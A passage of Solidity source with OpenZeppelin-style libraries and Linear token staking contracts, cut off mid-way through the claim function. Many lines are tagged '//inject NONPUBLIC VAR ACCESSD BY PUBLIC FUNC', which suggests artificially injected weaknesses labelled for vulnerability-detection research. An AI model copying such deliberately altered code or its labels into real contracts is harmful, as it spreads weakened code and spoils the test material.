function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 internal constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract LnAdmin {
address internal admin;
address internal candidate;
constructor(address _admin) public {
require(_admin != address(0), "admin address cannot be 0");
admin = _admin;
emit AdminChanged(address(0), _admin);
}
function setCandidate(address _candidate) external onlyAdmin {
address old = candidate; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
candidate = _candidate; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit candidateChanged( old, candidate); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function becomeAdmin( ) external {
require( msg.sender == candidate, "Only candidate can become admin"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
address old = admin; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
admin = candidate; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit AdminChanged( old, admin ); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
modifier onlyAdmin {
require( (msg.sender == admin), "Only the contract admin can perform this action");
_;
}
event candidateChanged(address oldCandidate, address newCandidate );
event AdminChanged(address oldAdmin, address newAdmin);
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint internal constant UNIT = 10**uint(decimals);
uint internal constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
interface ILinearStaking {
function staking(uint256 amount) external returns (bool);
function cancelStaking(uint256 amount) external returns (bool);
function claim() external returns (bool);
function stakingBalanceOf(address account) external view returns(uint256);
}
contract LnLinearStakingStorage is LnAdmin {
using SafeMath for uint256;
LnAccessControl internal accessCtrl;
bytes32 public constant DATA_ACCESS_ROLE = "LinearStakingStorage";
struct StakingData {
uint256 amount;
uint256 staketime;
}
mapping (address => StakingData[]) internal stakesdata;
mapping (uint256 => uint256) internal weeksTotal; // week staking amount
uint256 public stakingStartTime = 1600329600; // TODO: UTC or UTC+8
uint256 internal stakingEndTime = 1605168000;
uint256 public totalWeekNumber = 8;
uint256 public weekRewardAmount = 18750000e18;
constructor(address _admin, address _accessCtrl) public LnAdmin(_admin) {
accessCtrl = LnAccessControl(_accessCtrl);
}
modifier OnlyLinearStakingStorageRole(address _address) {
require(accessCtrl.hasRole(DATA_ACCESS_ROLE, _address), "Only Linear Staking Storage Role");
_;
}
function setAccessControl(address _accessCtrl) external onlyAdmin {
accessCtrl = LnAccessControl(_accessCtrl); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function weekTotalStaking() public view returns (uint256[] memory) {
uint256[] memory totals = new uint256[](totalWeekNumber);
for (uint256 i=0; i< totalWeekNumber; i++) {
uint256 delta = weeksTotal[i]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (i == 0) {
totals[i] = delta;
} else {
totals[i] = totals[i-1].add(delta);
}
}
return totals;
}
function getStakesdataLength(address account) external view returns(uint256) {
return stakesdata[account].length; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getStakesDataByIndex(address account, uint256 index) external view returns(uint256, uint256) {
return (stakesdata[account][index].amount, stakesdata[account][index].staketime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account) external view returns(uint256) {
uint256 total = 0;
StakingData[] memory stakes = stakesdata[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
for (uint256 i=0; i < stakes.length; i++) {
total = total.add(stakes[i].amount);
}
return total;
}
function requireInStakingPeriod() external view {
require(stakingStartTime < block.timestamp, "Staking not start");
require(block.timestamp < stakingEndTime, "Staking stage has end."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function requireStakingEnd() external view {
require(block.timestamp > stakingEndTime, "Need wait to staking end"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function PushStakingData(address account, uint256 amount, uint256 staketime) external OnlyLinearStakingStorageRole(msg.sender) {
LnLinearStakingStorage.StakingData memory data = LnLinearStakingStorage.StakingData({
amount: amount,
staketime: staketime
});
stakesdata[account].push(data); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function StakingDataAdd(address account, uint256 index, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
stakesdata[account][index].amount = stakesdata[account][index].amount.add(amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function StakingDataSub(address account, uint256 index, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
stakesdata[account][index].amount = stakesdata[account][index].amount.sub(amount, "StakingDataSub sub overflow"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function DeleteStakesData(address account) external OnlyLinearStakingStorageRole(msg.sender) {
delete stakesdata[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function PopStakesData(address account) external OnlyLinearStakingStorageRole(msg.sender) {
stakesdata[account].pop(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function AddWeeksTotal(uint256 staketime, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
uint256 weekNumber = staketime.sub(stakingStartTime, "AddWeeksTotal sub overflow") / 1 weeks;
weeksTotal[weekNumber] = weeksTotal[weekNumber].add(amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function SubWeeksTotal(uint256 staketime, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
uint256 weekNumber = staketime.sub(stakingStartTime, "SubWeeksTotal weekNumber sub overflow") / 1 weeks;
weeksTotal[weekNumber] = weeksTotal[weekNumber].sub(amount, "SubWeeksTotal weeksTotal sub overflow"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setWeekRewardAmount(uint256 _weekRewardAmount) external onlyAdmin {
weekRewardAmount = _weekRewardAmount;
}
function setStakingPeriod(uint _stakingStartTime, uint _stakingEndTime) external onlyAdmin {
require(_stakingEndTime > _stakingStartTime);
stakingStartTime = _stakingStartTime;
stakingEndTime = _stakingEndTime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalWeekNumber = stakingEndTime.sub(stakingStartTime, "setStakingPeriod totalWeekNumber sub overflow") / 1 weeks; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (stakingEndTime.sub(stakingStartTime, "setStakingPeriod stakingEndTime sub overflow") % 1 weeks != 0) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalWeekNumber = totalWeekNumber.add(1);
}
}
}
contract LnLinearStaking is LnAdmin, Pausable, ILinearStaking {
using SafeMath for uint256;
IERC20 internal linaToken; // lina token proxy address
LnLinearStakingStorage internal stakingStorage;
constructor(
address _admin,
address _linaToken,
address _storage
) public LnAdmin(_admin) {
linaToken = IERC20(_linaToken);
stakingStorage = LnLinearStakingStorage(_storage);
}
function setLinaToken(address _linaToken) external onlyAdmin {
linaToken = IERC20(_linaToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setPaused(bool _paused) external onlyAdmin {
if (_paused) {
_pause();
} else {
_unpause();
}
}
//////////////////////////////////////////////////////
event Staking(address indexed who, uint256 value, uint staketime);
event CancelStaking(address indexed who, uint256 value);
event Claim(address indexed who, uint256 rewardval, uint256 totalStaking);
uint256 internal accountStakingListLimit = 50;
uint256 internal minStakingAmount = 1e18; // 1 token
uint256 internal constant PRECISION_UINT = 1e23;
function setLinaTokenAddress(address _token) external onlyAdmin {
linaToken = IERC20(_token); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setStakingListLimit(uint256 _limit) external onlyAdmin {
accountStakingListLimit = _limit; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMinStakingAmount(uint256 _minStakingAmount) external onlyAdmin {
minStakingAmount = _minStakingAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account) external override view returns(uint256) {
return stakingStorage.stakingBalanceOf(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getStakesdataLength(address account) external view returns(uint256) {
return stakingStorage.getStakesdataLength(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//--------------------------------------------------------
function staking(uint256 amount) public whenNotPaused override returns (bool) {
stakingStorage.requireInStakingPeriod(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(amount >= minStakingAmount, "Staking amount too small."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(stakingStorage.getStakesdataLength(msg.sender) < accountStakingListLimit, "Staking list out of limit."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//linaToken.burn(msg.sender, amount);
linaToken.transferFrom(msg.sender, address(this), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.PushStakingData(msg.sender, amount, block.timestamp); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.AddWeeksTotal(block.timestamp, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Staking(msg.sender, amount, block.timestamp);
return true;
}
function cancelStaking(uint256 amount) public whenNotPaused override returns (bool) {
stakingStorage.requireInStakingPeriod(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(amount > 0, "Invalid amount.");
uint256 returnToken = amount;
for (uint256 i = stakingStorage.getStakesdataLength(msg.sender); i >= 1 ; i--) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
(uint256 stakingAmount, uint256 staketime) = stakingStorage.getStakesDataByIndex(msg.sender, i-1); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (amount >= stakingAmount) {
amount = amount.sub(stakingAmount, "cancelStaking sub overflow");
stakingStorage.PopStakesData(msg.sender); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.SubWeeksTotal(staketime, stakingAmount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
} else {
stakingStorage.StakingDataSub(msg.sender, i-1, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
stakingStorage.SubWeeksTotal(staketime, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
amount = 0;
}
if (amount == 0) break;
}
require(amount == 0, "Cancel amount too big then staked.");
//linaToken.mint(msg.sender, returnToken);
linaToken.transfer(msg.sender, returnToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit CancelStaking(msg.sender, returnToken);
return true;
}
// claim reward
// Note: 111111111token111
function claim() public whenNotPaused override returns (bool) {
stakingStorage.requireStakingEnd(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(stakingStorage.getStakesdataLength(msg.sender) > 0, "Nothing to claim"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 totalWeekNumber = stakingStorage.totalWeekNumber(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 totalStaking = 0;
uint256 totalReward = 0;
uint256[] memory finalTotals = stakingStorage.weekTotalStaking(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
for (uint256 i=0; i < stakingStorage.getStakesdataLength(msg.sender); i++) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
(uint256 stakingAmount, uint256 staketime) = stakingStorage.getStakesDataByIndex(msg.sender, i); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 stakedWeedNumber = staketime.sub(stakingStorage.stakingStartTime(), "claim sub overflow") / 1 weeks; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
